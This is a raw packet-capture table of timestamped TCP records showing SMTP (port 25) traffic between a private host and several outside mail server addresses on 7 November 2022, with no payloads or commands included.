Nov 7, 2022 22:24:59.914329052 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914360046 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:59.914390087 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914412975 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914433956 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914450884 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914463997 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914479971 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914485931 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:59.914513111 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914530993 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:59.914551973 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914583921 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:59.914604902 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:59.914624929 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:59.914639950 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914657116 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914680004 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914691925 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:59.914702892 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:59.914717913 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914738894 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914760113 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914781094 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914799929 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914820910 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914843082 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914865017 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914921045 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914946079 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914967060 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.914988995 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.915010929 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.915031910 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.915052891 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.915074110 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.915091991 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.915116072 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.915138960 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.915160894 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.915182114 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.915203094 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.915226936 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.915249109 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.915270090 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.923724890 CET	25	49856	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:59.942389965 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.942574978 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.942601919 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.942754030 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.942775965 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.942795992 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.942816973 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.942837954 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.942852974 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.942892075 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943198919 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943243027 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943264961 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943289995 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943394899 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943418026 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943437099 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943458080 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943478107 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943500042 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943520069 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943540096 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943562031 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943582058 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943602085 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943622112 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943814039 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943837881 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943886042 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943907976 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943928957 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943948984 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943969965 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.943990946 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944013119 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944034100 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944055080 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944075108 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944096088 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944116116 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944135904 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944155931 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944175005 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944194078 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944252014 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944274902 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944298029 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944391966 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944415092 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944437027 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944458008 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944478035 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944499969 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944521904 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944545031 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944566965 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944588900 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944610119 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944632053 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944648981 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944674969 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944698095 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944713116 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944739103 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944762945 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944785118 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944804907 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944824934 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944844961 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944864988 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944886923 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944906950 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944974899 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.944997072 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945015907 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945040941 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945061922 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945082903 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945103884 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945127010 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945142984 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945152998 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945235968 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945265055 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945286989 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945307970 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945328951 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945348978 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945370913 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945391893 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945414066 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945434093 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945453882 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945473909 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945493937 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945514917 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945533991 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945554018 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945573092 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945595026 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945616007 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945636988 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945657015 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:59.945677996 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:25:00.093812943 CET	49856	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:25:00.181629896 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.182270050 CET	49856	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:25:00.235860109 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.235922098 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.235948086 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.235970974 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.235996008 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.236020088 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.236052990 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.236074924 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.236123085 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.236166954 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.236191034 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.236221075 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.236247063 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.236267090 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.236299992 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.268299103 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:25:00.290431023 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290477991 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290503025 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290523052 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290539026 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290555000 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290568113 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.290590048 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.290606976 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.290623903 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290642977 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.290663958 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290671110 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.290690899 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290703058 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.290718079 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290726900 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.290745020 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290755033 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.290771961 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290782928 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.290802002 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290812969 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.290829897 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290843010 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.290858030 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290870905 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.290914059 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.290941000 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290963888 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290986061 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.290997028 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.291007996 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.291027069 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.291038990 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.291065931 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.291090965 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.291109085 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.295183897 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:25:00.295296907 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:25:00.321707010 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:25:00.328449011 CET	25	49854	142.250.102.26	192.168.2.5
Nov 7, 2022 22:25:00.345279932 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345338106 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345371962 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345400095 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345427990 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345479012 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345523119 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.345566988 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.345592976 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.345617056 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345647097 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345679045 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345693111 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.345693111 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.345730066 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.345753908 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345781088 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345799923 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.345828056 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345849037 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.345885038 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345896959 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.345927000 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.345944881 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345973969 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.345988989 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346015930 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346041918 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346070051 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346087933 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346113920 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346126080 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346155882 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346170902 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346198082 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346218109 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346245050 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346270084 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346299887 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346313000 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346342087 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346365929 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346393108 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346412897 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346442938 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346455097 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346483946 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346498966 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346529961 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346544981 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346575022 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346594095 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346621990 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346645117 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346663952 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346688032 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346713066 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346731901 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346757889 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346771955 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346807003 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346826077 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346864939 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346894979 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346923113 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.346961975 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.346990108 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.347017050 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.347039938 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.347050905 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.347084045 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.347100973 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.347125053 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.347146988 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.347173929 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.347193956 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.347230911 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.359181881 CET	25	49856	198.252.153.129	192.168.2.5
Nov 7, 2022 22:25:00.401504993 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401531935 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401550055 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401566982 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401582956 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401593924 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.401599884 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401616096 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401632071 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401648045 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401654959 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.401654959 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.401663065 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401679039 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401693106 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401693106 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.401709080 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401724100 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401726007 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.401740074 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401762009 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.401803017 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.401813030 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401829004 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401844025 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401859999 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401874065 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.401874065 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.401894093 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.401901960 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401906013 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.401918888 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401937008 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.401947021 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402007103 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402010918 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402026892 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402044058 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402054071 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402065039 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402079105 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402085066 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402097940 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402105093 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402117014 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402122021 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402137041 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402168036 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402251005 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402270079 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402285099 CET	25	49853	142.250.150.26	192.168.2.5
